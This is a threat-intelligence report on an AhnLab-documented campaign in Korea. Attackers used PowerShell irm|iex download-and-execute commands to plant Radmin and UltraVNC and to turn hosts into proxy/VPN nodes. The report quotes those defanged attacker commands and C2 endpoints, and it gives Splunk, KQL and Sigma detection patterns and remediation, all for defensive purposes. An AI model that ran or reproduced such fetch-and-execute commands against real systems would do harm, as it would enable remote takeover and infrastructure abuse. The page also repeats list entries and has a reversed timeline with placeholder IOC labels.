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Threat reportMalwareTL-2026-2323

Attacks in Korea Deploy Radmin and UltraVNC for Remote Control, Followed by Proxy/VPN Tools for Infrastructure Abuse

highACTIVE

AhnLab ASEC observed intrusions against Windows systems in Korea where attackers used PowerShell (curl) to download and install Radmin for initial remote control, followed by UltraVNC for persistence, then deployed the Netch-gateway and CCProxy proxy tools plus SoftEther VPN to repurpose compromised hosts as proxy/VPN nodes.

Key facts

IdentifiersTL-2026-2323
SeverityHIGH
First disclosed
Affected productsMicrosoft Windows
MalwareUltra VNC
ToolsCCProxy, Netch-gateway, RAdmin, SoftEther VPN, UltraVNC
MITRE ATT&CK techniquesT1027.002 Obfuscated Files or Information: Software Packing, T1036.005 Match Legitimate Resource Name or Location, T1053.005 Scheduled Task/Job: Scheduled Task, T1059.001 Command and Scripting Interpreter: PowerShell, T1059.003 Command and Scripting Interpreter: Windows Command Shell, T1071.001 Application Layer Protocol: Web Protocols, T1090 Proxy, T1090.002 Proxy: External Proxy, T1112 Modify Registry, T1219 Remote Access Tools, T1543.003 Create or Modify System Process: Windows Service, T1571 Non-Standard Port and 1 more in the attack flow
MotivationFINANCIAL
Target regionssouth korea
Detection rules9 (1 shown free)
Sources5 cited sources

Detection coverage

As of 2026-09-03, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-2323 across Splunk SPL, Microsoft KQL and Sigma, covering 26 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: PowerShell irm|iex Download-and-Execute from Radmin/UltraVNC Staging Server

Detects PowerShell using curl/Invoke-RestMethod (irm) piped to Invoke-Expression (iex) to fetch and immediately execute remote payloads — the initial-access delivery pattern ASEC observed pulling r.Zip, deploy.Ps1, and deploy_silent1.Ps1 from the staging server at 103.86.86.244:800. Also flags PyInstaller/Go-compiled binaries (ag.exe, conima.exe) pulled from the same host.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1059.001, T1105, T1071.001, T1571, T1027.002
  • Data sources: sysmon, windows_security, edr_process_creation, proxy_logs
  • Severity: high
  • Confidence: high

Splunk SPL

index=sysmon sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
| where match(lower(CommandLine), "(irm |invoke-restmethod|curl(\.exe)? )") AND match(lower(CommandLine), "iex|invoke-expression")
| eval known_infra=if(match(CommandLine, "103\.86\.86\.244|r\.Zip|deploy\.Ps1|deploy_silent1\.Ps1|ag\.exe|conima\.exe"), "confirmed_campaign_infra", "unconfirmed")
| table _time, ComputerName, User, ParentImage, Image, CommandLine, known_infra
| sort -_time

Microsoft KQL

DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any ("irm ", "Invoke-RestMethod", "curl ") and ProcessCommandLine has_any ("iex", "Invoke-Expression")
| extend KnownInfra = iff(ProcessCommandLine has_any ("103.86.86.244", "r.Zip", "deploy.Ps1", "deploy_silent1.Ps1", "ag.exe", "conima.exe"), "confirmed_campaign_infra", "unconfirmed")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine, KnownInfra
| order by Timestamp desc

Sigma

title: PowerShell Download-and-Execute from Radmin/UltraVNC Staging Server
id: 7c1e0f3a-2b3d-4a1e-9c7a-1a2b3c4d5e6f
status: experimental
description: Detects PowerShell irm/curl piped to iex fetching payloads from the 103.86.86.244:800 distribution server used to stage Radmin, UltraVNC, and Netch-gateway installers against Korean Windows hosts.
references:
    - https://asec.ahnlab.com/en/95230/
author: Threadlinqs Team
date: 2026-09-04
tags:
    - attack.execution
    - attack.t1059.001
    - attack.command_and_control
    - attack.t1105
    - attack.t1071.001
    - attack.t1571
    - attack.defense_evasion
    - attack.t1027.002
logsource:
    category: process_creation
    product: windows
detection:
    selection_tool:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
    selection_pattern:
        CommandLine|contains:
            - 'irm '
            - 'Invoke-RestMethod'
            - 'curl '
    selection_exec:
        CommandLine|contains:
            - 'iex'
            - 'Invoke-Expression'
    selection_infra:
        CommandLine|contains:
            - '103.86.86.244'
            - 'r.Zip'
            - 'deploy.Ps1'
            - 'deploy_silent1.Ps1'
            - 'ag.exe'
            - 'conima.exe'
    condition: selection_tool and selection_pattern and selection_exec and selection_infra
falsepositives:
    - Legitimate DevOps bootstrap scripts using irm|iex against approved internal package mirrors
level: high

Known false positives:

  • Legitimate IT automation/DevOps scripts that use irm|iex against approved internal or vendor package mirrors on non-standard ports

Tuning notes: Split the confirmed-infra IOC match (103.86.86.244, r.Zip, deploy.Ps1, deploy_silent1.Ps1, ag.exe, conima.exe) into a separate high-confidence rule; keep the generic irm|iex pattern as a lower-severity hunting query and allowlist known internal bootstrap scripts by hash/path to cut noise.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • PowerShell irm|iex Download-and-Execute from Radmin/UltraVNC Staging Server · unlock with TL Creds
  • Radmin/UltraVNC Persistence via WpnUserHost Service, Watchdog Task, and 'ruxin' Registry Config · unlock with TL Creds
  • Proxy/VPN Infrastructure Abuse: Netch-gateway/CCProxy SOCKS Nodes and svchost-Masquerading SoftEther VPN · unlock with TL Creds
  • PowerShell irm|iex Download-and-Execute from Radmin/UltraVNC Staging Server · unlock with TL Creds
  • Radmin/UltraVNC Persistence via WpnUserHost Service, Watchdog Task, and 'ruxin' Registry Config · unlock with TL Creds
  • Proxy/VPN Infrastructure Abuse: Netch-gateway/CCProxy SOCKS Nodes and svchost-Masquerading SoftEther VPN · unlock with TL Creds
  • Radmin/UltraVNC Persistence via WpnUserHost Service, Watchdog Task, and 'ruxin' Registry Config · unlock with TL Creds
  • Proxy/VPN Infrastructure Abuse: Netch-gateway/CCProxy SOCKS Nodes and svchost-Masquerading SoftEther VPN · unlock with TL Creds

Indicators of compromise

As of 2026-09-03, Threadlinqs Intelligence tracks 26 indicators of compromise for TL-2026-2323.

Sample indicators (3 of 26)

  • IP address: 103.86.86[.]244
  • Domain: koreakr[.]top
  • File hash: 02153f3fbb3611bc8b01eb347bf86c5a

Defanged, TLP:CLEAR. Full set of 26 indicators: unlock with TL Creds.

26 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

Script comments, tool familiarity, and configuration language suggest a Chinese-speaking threat actor; the initial intrusion vector is unknown.

ASEC (AhnLab Security intelligence Center) documented a multi-stage intrusion campaign against Windows systems in Korea in which the initial access vector is unconfirmed, but the post-compromise chain is fully reconstructed from recovered scripts and installers. The attacker used PowerShell curl to fetch a compressed archive (r.Zip) from hxxp://103.86.86[.]244:800/Gateway/r.Zip containing a batch script, a registry file, and the Radmin remote-control tool. The batch file 11.Bat installed Radmin to C:\Intel\RServer and applied a registry file (install.Reg) that embedded an attacker-linked configuration identifier, 'ruxin', establishing initial remote-desktop control.

Following Radmin, the attacker ran a hidden PowerShell command (irm hxxp://103.86.86[.]244:800/V/deploy.Ps1 | iex) to install UltraVNC into C:\Windows\Fonts\web, registering a malicious Windows service named 'WpnUserHost' (masquerading as a Windows push-notification component) alongside a scheduled watchdog task, 'WpnUserHost_MutualWatchdog', to guarantee persistence. A PyInstaller-built companion agent (recently observed in Go-compiled variants), built around a core agent.py component, enrolls the host with the attacker's infrastructure via /Api/agent/enroll, reports the VNC listening port and status via /Api/agent/heartbeat, and confirms randomized/encrypted VNC credentials via /Api/agent/password_ack against a command server at hxxp://tt.Yeyoujs[.]Com:8443, with a separate tunneling endpoint at tt.Yeyoujs[.]Com:9443.

With remote control established, the actor pivoted the host into proxy/VPN infrastructure for its own use. A further hidden PowerShell command (irm hxxp://103.86.86[.]244:800/Gateway/deploy_silent1.Ps1 | iex) installed Netch-gateway, a Chinese-developer proxy client supporting SOCKS5, Shadowsocks, and KCP, which registers with the operator's backend through /Internal/shadowsocks/auto-config and receives config/heartbeat instructions per-node. Separately, a WinRAR self-extracting (SFX) archive dropped CCProxy, configured to listen as a SOCKS proxy on port 49661 (CCProxy.Ini), and a second WinRAR SFX with a batch installer (a.Bat) deployed SoftEther VPN disguised as svchost.exe (vpn_server.Config), turning the host into an attacker-usable VPN server node. ASEC assesses the operator is Chinese-speaking based on Chinese-language comments in the scripts, familiarity with Chinese-developed tooling (Netch-gateway), and a Chinese-language interface on the proxy management page; no nation-state sponsorship is claimed.

The net effect is a host fully controlled via two redundant remote-access channels (Radmin, UltraVNC) and repurposed as attacker-controlled proxy/VPN relay infrastructure (Netch-gateway, CCProxy, SoftEther VPN) — creating both a direct data-theft exposure on the victim and a downstream risk that the victim's IP/infrastructure is used to relay the actor's other malicious traffic. ASEC has separately tracked a related but distinct cluster (attributed to 'Larva-26010', reported 2026-08-11 at asec.ahnlab.com/en/94995/) abusing SoftEther VPN against Korean web servers with similar disguise techniques (executable renamed to vmtoolsd.exe, WDigest UseLogonCredential registry modification for plaintext credential harvesting) using unrelated infrastructure (64.176.55.16, 45.76.144.150, 139.180.210.71, 64.176.46.157) — suggesting this report may be part of a broader wave of proxy/VPN infrastructure abuse against Korean systems, though ASEC has not formally linked the two campaigns under a single actor label.

MITRE ATT&CK techniques by tactic:

Defense Evasion

T1027.002 Obfuscated Files or Information: Software Packing; T1036.005 Match Legitimate Resource Name or Location

Persistence

T1053.005 Scheduled Task/Job: Scheduled Task; T1543.003 Create or Modify System Process: Windows Service

Execution

T1059.001 Command and Scripting Interpreter: PowerShell; T1059.003 Command and Scripting Interpreter: Windows Command Shell

Command and Control

T1071.001 Application Layer Protocol: Web Protocols; T1090 Proxy; T1090.002 Proxy: External Proxy; T1219 Remote Access Tools; T1571 Non-Standard Port

defense-impairment

T1112 Modify Registry

Resource Development

T1583.001 Acquire Infrastructure: Domains

Remediation

Immediate actions

  • Block outbound traffic to 103.86.86.244 (all ports, including 800), tt.yeyoujs.com (8443, 9443), tvip.yeyoujs.com, koreakr.top, and www.sheng886.top at perimeter/DNS/proxy layers.
  • Hunt for the service name 'WpnUserHost' and scheduled task 'WpnUserHost_MutualWatchdog' — these are not legitimate Windows components and indicate active UltraVNC-based compromise.
  • Hunt for installations under C:\Intel\RServer and C:\Windows\Fonts\web, and for unexpected svchost.exe copies outside C:\Windows\System32 (SoftEther VPN masquerading).
  • Alert on unauthorized installation of Radmin, UltraVNC, CCProxy, Netch-gateway, or SoftEther VPN via EDR software-inventory / process-creation telemetry.
  • Review outbound listeners on non-standard high ports (e.g., 49661) for unauthorized SOCKS proxy activity (CCProxy).

Workarounds

  • Where Radmin/UltraVNC are not business-required, remove them and block their default ports; where required, restrict access with IP allowlisting and MFA on the remote-admin gateway.

Longer-term hardening

  • Restrict outbound PowerShell network access (curl, Invoke-RestMethod/irm) via application control or constrained-language-mode policies on endpoints that do not require it.
  • Deploy EDR with behavioral detection for irm|iex download-and-execute patterns and for legitimate remote-admin tools installed outside change-management windows.
  • Deny-list or require approval for commercial/open-source remote-control and proxy/VPN software (Radmin, UltraVNC, CCProxy, SoftEther VPN, Netch-family tools) via application allowlisting.
  • Monitor for WinRAR SFX archives executing embedded batch installers as a delivery pattern.

Affected and fixed versions

  • Microsoft — Windows
    Vulnerable versions: Unspecified Windows versions on internet-reachable/managed endpoints in Korea

Timeline

  • A WinRAR SFX archive with batch installer a.Bat deploys SoftEther VPN disguised as svchost.exe (vpn_server.Config), turning the host into an attacker-controlled VPN server node.
  • A WinRAR self-extracting archive installs CCProxy configured to listen on SOCKS port 49661 (CCProxy.Ini), adding a second proxy service on the host.
  • A further hidden PowerShell command (irm locked-ioc-1 | iex) installs Netch-gateway, registering the host as a SOCKS5/Shadowsocks/KCP proxy node via /Internal/shadowsocks/auto-config.
  • A PyInstaller-built 'client' agent (agent.py core) enrolls with the operator's backend via /Api/agent/enroll and reports VNC port/status via /Api/agent/heartbeat, confirming randomized, encrypted VNC credentials through /Api/agent/password_ack against command server locked-ioc-13.
  • A hidden PowerShell command (irm locked-ioc-6 | iex) installs UltraVNC into locked-ioc-14, registering the 'WpnUserHost' service and 'WpnUserHost_MutualWatchdog' scheduled task for persistence.
  • 11.Bat is executed to install Radmin to locked-ioc-17 and apply locked-ioc-21, configuring the tool with the attacker-linked identifier 'ruxin' for remote desktop access.
  • Attacker uses PowerShell curl to download r.Zip from locked-ioc-5, containing a batch script, a registry file, and the Radmin remote-control tool.
  • AhnLab ASEC publishes 'Attack Cases in Korea Involving the Installation of Radmin and UltraVNC', detailing a multi-stage intrusion and proxy/VPN infrastructure-abuse campaign against Korean Windows systems.

Sources cited

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Drafted by the Threadlinqs research pipeline from 5 sources; published ; last updated —.

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